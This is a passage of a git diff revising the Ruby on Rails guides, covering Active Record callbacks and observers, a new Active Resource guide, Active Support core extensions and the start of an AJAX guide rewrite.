predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed. <ruby> class Order < ActiveRecord::Base @@ -1064,7 +1108,7 @@ end h4. Using +:if+ and +:unless+ with a String -You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. +You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition: <ruby> class Order < ActiveRecord::Base @@ -1072,9 +1116,9 @@ class Order < ActiveRecord::Base end </ruby> -h4. Using +:if+ and +:unless+ with a Proc +h4. Using +:if+ and +:unless+ with a +Proc+ -Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners. +Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners: <ruby> class Order < ActiveRecord::Base @@ -1085,7 +1129,7 @@ end h4. Multiple Conditions for Callbacks -When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration. +When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration: <ruby> class Comment < ActiveRecord::Base @@ -1098,18 +1142,19 @@ h3. Callback Classes Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them. -Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model. +Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model: <ruby> class PictureFileCallbacks def after_destroy(picture_file) - File.delete(picture_file.filepath) - if File.exists?(picture_file.filepath) + if File.exists?(picture_file.filepath) + File.delete(picture_file.filepath) + end end end </ruby> -When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way: +When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model: <ruby> class PictureFile < ActiveRecord::Base @@ -1117,13 +1162,14 @@ class PictureFile < ActiveRecord::Base end </ruby> -Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method. +Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods: <ruby> class PictureFileCallbacks def self.after_destroy(picture_file) - File.delete(picture_file.filepath) - if File.exists?(picture_file.filepath) + if File.exists?(picture_file.filepath) + File.delete(picture_file.filepath) + end end end </ruby> @@ -1140,16 +1186,25 @@ You can declare as many callbacks as you want inside your callback classes. h3. Observers -Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. +Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. h4. Creating Observers -For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we could create an observer to contain this functionality. +For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality. <shell> $ rails generate observer User </shell> +generates +app/models/user_observer.rb+ containing the observer class +UserObserver+: + +<ruby> +class UserObserver < ActiveRecord::Observer +end +</ruby> + +You may now add methods to be called at the desired occasions: + <ruby> class UserObserver < ActiveRecord::Observer def after_create(model) @@ -1165,7 +1220,7 @@ h4. Registering Observers Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way: <ruby> -# Activate observers that should always be running +# Activate observers that should always be running. config.active_record.observers = :user_observer </ruby> @@ -1173,7 +1228,7 @@ As usual, settings in +config/environments+ take precedence over those in +confi h4. Sharing Observers -By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behaviour to more than one model, and so it's possible to manually specify the models that our observer should observe. +By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe: <ruby> class MailerObserver < ActiveRecord::Observer @@ -1185,10 +1240,10 @@ class MailerObserver < ActiveRecord::Observer end </ruby> -In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect. +In this example, the +after_create+ method will be called whenever a +Registration+ or +User+ is created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect: <ruby> -# Activate observers that should always be running +# Activate observers that should always be running. config.active_record.observers = :mailer_observer </ruby> @@ -1196,7 +1251,7 @@ h3. Transaction Callbacks There are two additional callbacks that are triggered by the completion of a database transaction: +after_commit+ and +after_rollback+. These callbacks are very similar to the +after_save+ callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction. -Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after a record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error. +Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error. <ruby> PictureFile.transaction do @@ -1225,14 +1280,3 @@ end </ruby> The +after_commit+ and +after_rollback+ callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. - -h3. Changelog - -* February 17, 2011: Add description of transaction callbacks. -* July 20, 2010: Fixed typos and rephrased some paragraphs for clarity. "Jaime Iniesta":http://jaimeiniesta.com -* May 24, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* May 15, 2010: Validation Errors section updated by "Emili Parreño":http://www.eparreno.com -* March 7, 2009: Callbacks revision by Trevor Turk -* February 10, 2009: Observers revision by Trevor Turk -* February 5, 2009: Initial revision by Trevor Turk -* January 9, 2009: Initial version by "Cássio Marques":credits.html#cmarques diff --git a/railties/guides/source/active_resource_basics.textile b/railties/guides/source/active_resource_basics.textile new file mode 100644 index 0000000000..851aac1a3f --- /dev/null +++ b/railties/guides/source/active_resource_basics.textile @@ -0,0 +1,120 @@ +h2. Active Resource Basics + +This guide should provide you with all you need to get started managing the connection between business objects and RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics. + +endprologue. + +WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. + +h3. Introduction + +Active Resource allows you to connect with RESTful web services. So, in Rails, Resource classes inherited from +ActiveResource::Base+ and live in +app/models+. + +h3. Configuration and Usage + +Putting Active Resource to use is very similar to Active Record. It's as simple as creating a model class +that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it: + +<ruby> +class Person < ActiveResource::Base + self.site = "http://api.people.com:3000/" +end +</ruby> + +Now the Person class is REST enabled and can invoke REST services very similarly to how Active Record invokes +life cycle methods that operate against a persistent store. + +h3. Reading and Writing Data + +Active Resource make request over HTTP using a standard JSON format. It mirrors the RESTful routing built into Action Controller but will also work with any other REST service that properly implements the protocol. + +h4. Read + +Read requests use the GET method and expect the JSON form of whatever resource/resources is/are being requested. + +<ruby> +# Find a person with id = 1 +person = Person.find(1) +# Check if a person exists with id = 1 +Person.exists?(1) # => true +# Get all resources of Person class +Person.all +</ruby> + +h4. Create + +Creating a new resource submits the JSON form of the resource as the body of the request with HTTP POST method and parse the response into Active Resource object. + +<ruby> +person = Person.create(:name => 'Vishnu') +person.id # => 1 +</ruby> + +h4. Update + +To update an existing resource, 'save' method is used. This method make a HTTP PUT request in JSON format. + +<ruby> +person = Person.find(1) +person.name = 'Atrai' +person.save +</ruby> + +h4. Delete + +'destroy' method makes a HTTP DELETE request for an existing resource in JSON format to delete that resource. + +<ruby> +person = Person.find(1) +person.destroy +</ruby> + +h3. Validations + +Module to support validation and errors with Active Resource objects. The module overrides Base#save to rescue ActiveResource::ResourceInvalid exceptions and parse the errors returned in the web service response. The module also adds an errors collection that mimics the interface of the errors provided by ActiveRecord::Errors. + +h4. Validating client side resources by overriding validation methods in base class + +<ruby> +class Person < ActiveResource::Base + self.site = "http://api.people.com:3000/" + + protected + + def validate + errors.add("last", "has invalid characters") unless last =~ /[a-zA-Z]*/ + end +end +</ruby> + +h4. Validating client side resources + +Consider a Person resource on the server requiring both a first_name and a last_name with a validates_presence_of :first_name, :last_name declaration in the model: + +<ruby> +person = Person.new(:first_name => "Jim", :last_name => "") +person.save # => false (server returns an HTTP 422 status code and errors) +person.valid? # => false +person.errors.empty? # => false +person.errors.count # => 1 +person.errors.full_messages # => ["Last name can't be empty"] +person.errors[:last_name] # => ["can't be empty"] +person.last_name = "Halpert" +person.save # => true (and person is now saved to the remote service) +</ruby> + +h4. Public instance methods + +ActiveResource::Validations have three public instance methods + +h5. errors() + +This will return errors object that holds all information about attribute error messages + +h5. save_with_validation(options=nil) + +This validates the resource with any local validations written in base class and then it will try to POST if there are no errors. + +h5. valid? + +Runs all the local validations and will return true if no errors. diff --git a/railties/guides/source/active_support_core_extensions.textile b/railties/guides/source/active_support_core_extensions.textile index 66869b4eeb..ff6c5f967f 100644 --- a/railties/guides/source/active_support_core_extensions.textile +++ b/railties/guides/source/active_support_core_extensions.textile @@ -78,12 +78,14 @@ The following values are considered to be blank in a Rails application: * +nil+ and +false+, -* strings composed only of whitespace, i.e. matching +/\A\s*\z/+, +* strings composed only of whitespace (see note below), * empty arrays and hashes, and * any other object that responds to +empty?+ and it is empty. +INFO: In Ruby 1.9 the predicate for strings uses the Unicode-aware character class <tt>[:space:]</tt>, so for example U+2029 (paragraph separator) is considered to be whitespace. In Ruby 1.8 whitespace is considered to be <tt>\s</tt> together with the ideographic space U+3000. + WARNING: Note that numbers are not mentioned, in particular 0 and 0.0 are *not* blank. For example, this method from +ActionDispatch::Session::AbstractStore+ uses +blank?+ for checking whether a session key is present: @@ -294,7 +296,7 @@ This method escapes whatever is needed, both for the key and the value: <ruby> account.to_query('company[name]') -# => "company%5Bname%5D=Johnson+%26+Johnson" +# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson" </ruby> so its output is ready to be used in a query string. @@ -436,20 +438,6 @@ end NOTE: Defined in +active_support/core_ext/kernel/reporting.rb+. -h4. +require_library_or_gem+ - -The convenience method +require_library_or_gem+ tries to load its argument with a regular +require+ first. If it fails loads +rubygems+ and tries again. - -If the first attempt is a failure and +rubygems+ can't be loaded the method raises +LoadError+. A +LoadError+ is also raised if +rubygems+ is available but the argument is not loadable as a gem. - -For example, that's the way the MySQL adapter loads the MySQL library: - -<ruby> -require_library_or_gem('mysql') -</ruby> - -NOTE: Defined in +active_support/core_ext/kernel/requires.rb+. - h4. +in?+ The predicate +in?+ tests if an object is included in another object. An +ArgumentError+ exception will be raised if the argument passed does not respond to +include?+. @@ -512,7 +500,7 @@ ActionController::TestCase.class_eval do end </ruby> -Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialised in validations. +Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialized in validations. NOTE: Defined in +active_support/core_ext/module/aliasing.rb+. @@ -731,12 +719,70 @@ X.local_constants # => ["X2", "X1", "Y"], assumes Ruby 1.8 X::Y.local_constants # => ["X1", "Y1"], assumes Ruby 1.8 </ruby> -The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ returns always strings. +The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ always returns strings. -WARNING: This method is exact if running under Ruby 1.9. In previous versions it may miss some constants if their value in some ancestor stores the exact same object than in the receiver. +WARNING: This method returns precise results in Ruby 1.9. In older versions of Ruby, however, it may miss some constants in case the same constant exists in the receiver module as well as in any of its ancestors and both constants point to the same object (objects are compared using +Object#object_id+). NOTE: Defined in +active_support/core_ext/module/introspection.rb+. +h5. Qualified Constant Names + +The standard methods +const_defined?+, +const_get+ , and +const_set+ accept +bare constant names. Active Support extends this API to be able to pass +relative qualified constant names. + +The new methods are +qualified_const_defined?+, +qualified_const_get+, and ++qualified_const_set+. Their arguments are assumed to be qualified constant +names relative to their receiver: + +<ruby> +Object.qualified_const_defined?("Math::PI") # => true +Object.qualified_const_get("Math::PI") # => 3.141592653589793 +Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034 +</ruby> + +Arguments may be bare constant names: + +<ruby> +Math.qualified_const_get("E") # => 2.718281828459045 +</ruby> + +These methods are analogous to their builtin counterparts. In particular, ++qualified_constant_defined?+ accepts an optional second argument in 1.9 +to be able to say whether you want the predicate to look in the ancestors. +This flag is taken into account for each constant in the expression while +walking down the path. + +For example, given + +<ruby> +module M + X = 1 +end + +module N + class C + include M + end +end +</ruby> + ++qualified_const_defined?+ behaves this way: + +<ruby> +N.qualified_const_defined?("C::X", false) # => false (1.9 only) +N.qualified_const_defined?("C::X", true) # => true (1.9 only) +N.qualified_const_defined?("C::X") # => false in 1.8, true in 1.9 +</ruby> + +As the last example implies, in 1.9 the second argument defaults to true, +as in +const_defined?+. + +For coherence with the builtin methods only relative paths are accepted. +Absolute qualified constant names like +::Math::PI+ raise +NameError+. + +NOTE: Defined in +active_support/core_ext/module/qualified_const.rb+. + h4. Synchronization The +synchronize+ macro declares a method to be synchronized: @@ -876,13 +922,15 @@ end It is shorter, and the intention more obvious. -The macro accepts several methods: +The method must be public in the target. + +The +delegate+ macro accepts several methods: <ruby> delegate :name, :age, :address, :twitter, :to => :profile </ruby> -When interpolated into a string, the +:to+ option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such a expression is evaluated in the context of the receiver: +When interpolated into a string, the +:to+ option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver: <ruby> # delegates to the Rails constant @@ -961,7 +1009,7 @@ h4. Class Attributes h5. +class_attribute+ -The method +class_attribute+ declares one or more inheritable class attributes that can be overridden at any level down the hierarchy: +The method +class_attribute+ declares one or more inheritable class attributes that can be overridden at any level down the hierarchy. <ruby> class A @@ -997,7 +1045,7 @@ self.default_params = { }.freeze </ruby> -They can be also accessed and overridden at the instance level: +They can be also accessed and overridden at the instance level. <ruby> A.x = 1 @@ -1010,7 +1058,7 @@ a1.x # => 1, comes from A a2.x # => 2, overridden in a2 </ruby> -The generation of the writer instance method can be prevented by setting the option +:instance_writer+ to false, as in +The generation of the writer instance method can be prevented by setting the option +:instance_writer+ to +false+. <ruby> module ActiveRecord @@ -1023,8 +1071,20 @@ end A model may find that option useful as a way to prevent mass-assignment from setting the attribute. +The generation of the reader instance method can be prevented by setting the option +:instance_reader+ to +false+. + +<ruby> +class A + class_attribute :x, :instance_reader => false +end + +A.new.x = 1 # NoMethodError +</ruby> + For convenience +class_attribute+ also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called +x?+. +When +:instance_reader+ is +false+, the instance predicate returns a +NoMethodError+ just like the reader method. + NOTE: Defined in +active_support/core_ext/class/attribute.rb+ h5. +cattr_reader+, +cattr_writer+, and +cattr_accessor+ @@ -1050,18 +1110,24 @@ module ActionView end </ruby> -we can access +field_error_proc+ in views. The generation of the writer instance method can be prevented by setting +:instance_writer+ to +false+ (not any false value, but exactly +false+): +we can access +field_error_proc+ in views. + +The generation of the reader instance method can be prevented by setting +:instance_reader+ to +false+ and the generation of the writer instance method can be prevented by setting +:instance_writer+ to +false+. Generation of both methods can be prevented by setting +:instance_accessor+ to +false+. In all cases, the value must be exactly +false+ and not any false value. <ruby> -module ActiveRecord - class Base - # No pluralize_table_names= instance writer is generated. - cattr_accessor :pluralize_table_names, :instance_writer => false +module A + class B + # No first_name instance reader is generated. + cattr_accessor :first_name, :instance_reader => false + # No last_name= instance writer is generated. + cattr_accessor :last_name, :instance_writer => false + # No surname instance reader or surname= writer is generated. + cattr_accessor :surname, :instance_accessor => false end end </ruby> -A model may find that option useful as a way to prevent mass-assignment from setting the attribute. +A model may find it useful to set +:instance_accessor+ to +false+ as a way to prevent mass-assignment from setting the attribute. NOTE: Defined in +active_support/core_ext/class/attribute_accessors.rb+. @@ -1160,8 +1226,12 @@ h3. Extensions to +String+ h4. Output Safety +h5. Motivation + Inserting data into HTML templates needs extra care. For example you can't just interpolate +@review.title+ verbatim into an HTML page. On one hand if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". On the other hand, depending on the application that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the "section about cross-site scripting in the Security guide":security.html#cross-site-scripting-xss for further information about the risks. +h5. Safe Strings + Active Support has the concept of <i>(html) safe</i> strings since Rails 3. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not. Strings are considered to be <i>unsafe</i> by default: @@ -1187,8 +1257,6 @@ s # => "<script>...</script>" It is your responsibility to ensure calling +html_safe+ on a particular string is fine. -NOTE: For performance reasons safe strings are implemented in a way that cannot offer an in-place +html_safe!+ variant. - If you append onto a safe string, either in-place with +concat+/<tt><<</tt>, or with <tt>+</tt>, the result is a safe string. Unsafe arguments are escaped: <ruby> @@ -1229,6 +1297,22 @@ end NOTE: Defined in +active_support/core_ext/string/output_safety.rb+. +h5. Transformation + +As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are +donwcase+, +gsub+, +strip+, +chomp+, +underscore+, etc. + +In the case of in-place transformations like +gsub!+ the receiver itself becomes unsafe. + +INFO: The safety bit is lost always, no matter whether the transformation actually changed something. + +h5. Conversion and Coercion + +Calling +to_s+ on a safe string returns a safe string, but coercion with +to_str+ returns an unsafe string. + +h5. Copying + +Calling +dup+ or +clone+ on safe strings yields safe strings. + h4. +squish+ The method +squish+ strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each: @@ -1400,6 +1484,14 @@ The method +pluralize+ returns the plural of its receiver: As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in +config/initializers/inflections.rb+. That file is generated by the +rails+ command and has instructions in comments. ++pluralize+ can also take an optional +count+ parameter. If <tt>count == 1</tt> the singular form will be returned. For any other value of +count+ the plural form will be returned: + +<ruby> +"dude".pluralize(0) # => "dudes" +"dude".pluralize(1) # => "dude" +"dude".pluralize(2) # => "dudes" +</ruby> + Active Record uses this method to compute the default table name that corresponds to a model: <ruby> @@ -1474,7 +1566,15 @@ end That may be handy to compute method names in a language that follows that convention, for example JavaScript. -INFO: As a rule of thumb you can think of +camelize+ as the inverse of +underscore+, though there are cases where that does not hold: <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>. +INFO: As a rule of thumb you can think of +camelize+ as the inverse of +underscore+, though there are cases where that does not hold: <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>. To support cases such as this, Active Support allows you to specify acronyms in +config/initializers/inflections.rb+: + +<ruby> +ActiveSupport::Inflector.inflections do |inflect| + inflect.acronym 'SSL' +end + +"SSLError".underscore.camelize #=> "SSLError" +</ruby> +camelize+ is aliased to +camelcase+. @@ -1555,7 +1655,7 @@ NOTE: Defined in +active_support/core_ext/string/inflections.rb+. h5. +demodulize+ -Given a string with a qualified constant reference expression, +demodulize+ returns the very constant name, that is, the rightmost part of it: +Given a string with a qualified constant name, +demodulize+ returns the very constant name, that is, the rightmost part of it: <ruby> "Product".demodulize # => "Product" @@ -1578,6 +1678,31 @@ end NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +h5. +deconstantize+ + +Given a string with a qualified constant reference expression, +deconstantize+ removes the rightmost segment, generally leaving the name of the constant's container: + +<ruby> +"Product".deconstantize # => "" +"Backoffice::UsersController".deconstantize # => "Backoffice" +"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel" +</ruby> + +Active Support for example uses this method in +Module#qualified_const_set+: + +<ruby> +def qualified_const_set(path, value) + QualifiedConstUtils.raise_if_absolute(path) + + const_name = path.demodulize + mod_name = path.deconstantize + mod = mod_name.empty? ? self : qualified_const_get(mod_name) + mod.const_set(const_name, value) +end +</ruby> + +NOTE: Defined in +active_support/core_ext/string/inflections.rb+. + h5. +parameterize+ The method +parameterize+ normalizes its receiver in a way that can be used in pretty URLs. @@ -1726,7 +1851,7 @@ h4(#string-conversions). Conversions h5. +ord+ -Ruby 1.9 defines +ord+ to be the codepoint of the first character of the receiver. Active Support backports +ord+ for single-byte encondings like ASCII or ISO-8859-1 in Ruby 1.8: +Ruby 1.9 defines +ord+ to be the codepoint of the first character of the receiver. Active Support backports +ord+ for single-byte encodings like ASCII or ISO-8859-1 in Ruby 1.8: <ruby> "a".ord # => 97 @@ -1740,7 +1865,7 @@ In Ruby 1.8 +ord+ doesn't work in general in UTF8 strings, use the multibyte sup "à".mb_chars.ord # => 224, in UTF8 </ruby> -Note that the 224 is different in both examples. In ISO-8859-1 "à" is represented as a single byte, 224. Its single-character representattion in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call +ord+ on the UTF8 string "à" the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus. +Note that the 224 is different in both examples. In ISO-8859-1 "à" is represented as a single byte, 224. Its single-character representation in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call +ord+ on the UTF8 string "à" the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus. INFO: +ord+ is equivalent to +getbyte(0)+. @@ -2037,6 +2162,30 @@ shape_types = [Circle, Square, Triangle].sample(2) NOTE: Defined in +active_support/core_ext/array/random_access.rb+. +h4. Adding Elements + +h5. +prepend+ + +This method is an alias of <tt>Array#unshift</tt>. + +<ruby> +%w(a b c d).prepend('e') # => %w(e a b c d) +[].prepend(10) # => [10] +</ruby> + +NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+. + +h5. +append+ + +This method is an alias of <tt>Array#<<</tt>. + +<ruby> +%w(a b c d).append('e') # => %w(a b c d e) +[].append([1,2]) # => [[1,2]] +</ruby> + +NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+. + h4. Options Extraction When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets: @@ -2219,8 +2368,8 @@ The method +Array.wrap+ wraps its argument in an array unless it is already an a Specifically: * If the argument is +nil+ an empty list is returned. -* Otherwise, if the argument responds to +to_ary+ it is invoked, and its result returned. -* Otherwise, returns an array with the argument as its single element. +* Otherwise, if the argument responds to +to_ary+ it is invoked, and if the value of +to_ary+ is not +nil+, it is returned. +* Otherwise, an array with the argument as its single element is returned. <ruby> Array.wrap(nil) # => [] @@ -2296,7 +2445,7 @@ NOTE: Defined in +active_support/core_ext/array/grouping.rb+. h5. +in_groups(number, fill_with = nil)+ -The method +in_groups+ splits an array into a certain number of groups. The method returns and array with the groups: +The method +in_groups+ splits an array into a certain number of groups. The method returns an array with the groups: <ruby> %w(1 2 3 4 5 6 7).in_groups(3) @@ -2664,6 +2813,18 @@ hash # => {:a => 1} NOTE: Defined in +active_support/core_ext/hash/slice.rb+. +h4. Extracting + +The method +extract!+ removes and returns the key/value pairs matching the given keys. + +<ruby> +hash = {:a => 1, :b => 2} +rest = hash.extract!(:a) # => {:a => 1} +hash # => {:b => 2} +</ruby> + +NOTE: Defined in +active_support/core_ext/hash/slice.rb+. + h4. Indifferent Access The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver: @@ -2728,7 +2889,7 @@ Active Support extends the method +Range#step+ so that it can be invoked without (1..10).step(2) # => [1, 3, 5, 7, 9] </ruby> -As the example shows, in that case the method returns and array with the corresponding elements. +As the example shows, in that case the method returns an array with the corresponding elements. NOTE: Defined in +active_support/core_ext/range/blockless_step.rb+. @@ -3038,7 +3199,7 @@ Date.new(2010, 1, 31).change(:month => 2) h5(#date-durations). Durations -Durations can be added and substracted to dates: +Durations can be added to and subtracted from dates: <ruby> d = Date.current @@ -3246,7 +3407,7 @@ DateTime.current.change(:month => 2, :day => 30) h5(#datetime-durations). Durations -Durations can be added and substracted to datetimes: +Durations can be added to and subtracted from datetimes: <ruby> now = DateTime.current @@ -3315,7 +3476,7 @@ They are analogous. Please refer to their documentation above and take into acco Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> -# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST. +# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST. t = Time.local_time(2010, 3, 28, 1, 59, 59) # => Sun Mar 28 01:59:59 +0100 2010 t.advance(:seconds => 1) @@ -3330,6 +3491,32 @@ Active Support defines +Time.current+ to be today in the current time zone. That When making Time comparisons using methods which honor the user time zone, make sure to use +Time.current+ and not +Time.now+. There are cases where the user time zone might be in the future compared to the system time zone, which +Time.today+ uses by default. This means +Time.now+ may equal +Time.yesterday+. +h5. +all_day+, +all_week+, +all_month+, +all_quarter+ and +all_year+ + +The method +all_day+ returns a range representing the whole day of the current time. + +<ruby> +now = Time.current +# => Mon, 09 Aug 2010 23:20:05 UTC +00:00 +now.all_day +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00 +</ruby> + +Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges. + +<ruby> +now = Time.current +# => Mon, 09 Aug 2010 23:20:05 UTC +00:00 +now.all_week +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00 +now.all_month +# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00 +now.all_quarter +# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00 +now.all_year +# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00 +</ruby> + h4. Time Constructors Active Support defines +Time.current+ to be +Time.zone.now+ if there's a user time zone defined, with fallback to +Time.now+: @@ -3367,7 +3554,7 @@ If the time to be constructed lies beyond the range supported by +Time+ in the r h5(#time-durations). Durations -Durations can be added and substracted to time objects: +Durations can be added to and subtracted from time objects: <ruby> now = Time.current @@ -3422,8 +3609,8 @@ h4. +around_[level]+ Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+: <ruby> - logger = Logger.new("log/development.log") - logger.around_info("before", "after") { |logger| logger.info("during") } +logger = Logger.new("log/development.log") +logger.around_info("before", "after") { |logger| logger.info("during") } </ruby> h4. +silence+ @@ -3503,8 +3690,3 @@ end </ruby> NOTE: Defined in +active_support/core_ext/load_error.rb+. - -h3. Changelog - -* August 10, 2010: Starts to take shape, added to the index. -* April 18, 2009: Initial version by "Xavier Noria":credits.html#fxn diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile index 1566c23414..3a0ccfe9b2 100644 --- a/railties/guides/source/ajax_on_rails.textile +++ b/railties/guides/source/ajax_on_rails.textile @@ -3,7 +3,7 @@ h2. AJAX on Rails This guide covers the built-in Ajax/JavaScript functionality of Rails (and more); it will enable you to create rich and dynamic AJAX applications with ease! We will cover the following topics: * Quick introduction to AJAX and related technologies -* Handling JavaScript the Rails way: Rails helpers, Prototype and script.aculo.us +* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc * Testing JavaScript functionality endprologue. @@ -24,20 +24,80 @@ h4. Standard HTML communication vs AJAX How do 'standard' and AJAX requests differ, why does this matter for understanding AJAX on Rails (tie in for *_remote helpers, the next section) +h3. Built-in Rails Helpers +Rails 3.1 ships with "jQuery":http://jquery.com as the default JavaScript library. The Gemfile contains <tt>gem 'jquery-rails'</tt> which makes the jQuery files available to the application automatically. This can be accessed as: +<ruby> +javascript_include_tag :defaults +</ruby> +h4. Examples +All the remote_method helpers has been removed. To make them working with AJAX, simply pass the <tt>:remote => true</tt> option to the original non-remote method. -h3. Built-in Rails Helpers +<ruby> +button_to "New", :action => "new", :form_class => "new-thing" +</ruby> + +will produce -Rails' JavaScript framework of choice is "Prototype":http://www.prototypejs.org. Prototype is a generic-purpose JavaScript framework that aims to ease the development of dynamic web applications by offering DOM manipulation, AJAX and other JavaScript functionality ranging from utility functions to object oriented constructs. It is not specifically written for any language, so Rails provides a set of helpers to enable seamless integration of Prototype with your Rails views. +<html> +<form method="post" action="/controller/new" class="new-thing"> + <div><input value="New" type="submit" /></div> +</form> +</html> -To get access to these helpers, all you have to do is to include the prototype framework in your pages - typically in your master layout, application.html.erb - like so: <ruby> -javascript_include_tag 'prototype' +button_to "Create", :action => "create", :remote => true, :form => { "data-type" => "json" } </ruby> +will produce + +<html> +<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json"> + <div><input value="Create" type="submit" /></div> +</form> +</html> + +<ruby> +button_to 